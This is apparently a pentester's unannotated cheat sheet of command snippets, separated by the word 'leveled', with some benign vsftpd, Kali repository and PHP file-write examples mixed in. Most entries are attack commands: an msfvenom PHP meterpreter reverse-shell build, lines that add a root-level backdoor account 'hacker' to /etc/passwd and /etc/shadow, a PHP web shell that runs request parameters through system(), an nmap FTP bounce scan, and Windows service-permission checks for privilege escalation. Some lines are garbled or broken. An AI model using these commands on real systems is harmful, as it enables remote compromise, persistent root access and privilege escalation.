leveled

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

leveled

echo “hacker:x:0:0:A friend:/:/bin/bash” » /etc/passwd 
/etc/shadow root@localhost:~# openssl passwd -1 -salt xyz freeworld $1$xyz$A1YZaeEjVGoBzmQpTTBFv1 
echo “hacker:$1$xyz$A1YZaeEjVGoBzmQpTTBFv1:13529:0:99999:7:::” » 

leveled

## Chroot certain users 

    chroot_local_user=YES
    chroot_list_enable=YES
    chroot_list_file=/etc/vsftpd.chroot_list


## Only allow certain users
userlist_enable=YES
userlist_file=/etc/vsftpd.userlist

leveled

usermod -m -d /newhome/username username

leveled

# deb cdrom:[Debian GNU/Linux 7.0 _Kali_ - Official Snapshot i386 LIVE/INSTALL $
## Security updates
deb http://http.kali.org/ /kali main contrib non-free
deb http://http.kali.org/ /wheezy main contrib non-free
deb http://http.kali.org/kali kali-dev main contrib non-free
deb http://http.kali.org/kali kali-dev main/debian-installer
deb-src http://http.kali.org/kali kali-dev main contrib non-free
deb http://http.kali.org/kali kali main contrib non-free
deb http://http.kali.org/kali kali main/debian-installer
deb-src http://http.kali.org/kali kali main contrib non-free

leveled

nmap -v -b -P0 <username>:<password>@<ftp_server_address> <address(es)_to_scan>

leveled

<?php
$myfile = fopen("newfile.txt", "w") or die("Unable to open file!");
$txt = "John Doe\n";
fwrite($myfile, $txt);
$txt = "Jane Doe\n";
fwrite($myfile, $txt);
fclose($myfile);
?> 

leveled

    <?php
    if(isset($_REQUEST['cmd'])){
        $cmd = ($_REQUEST["cmd"]);
        system($cmd);
        echo "</pre>$cmd<pre>";
        die;
    }
    ?>

leveled

sc qc upnphost

leveled

accesschk.exe /accepteula -uwcqv "Authenticated Users" *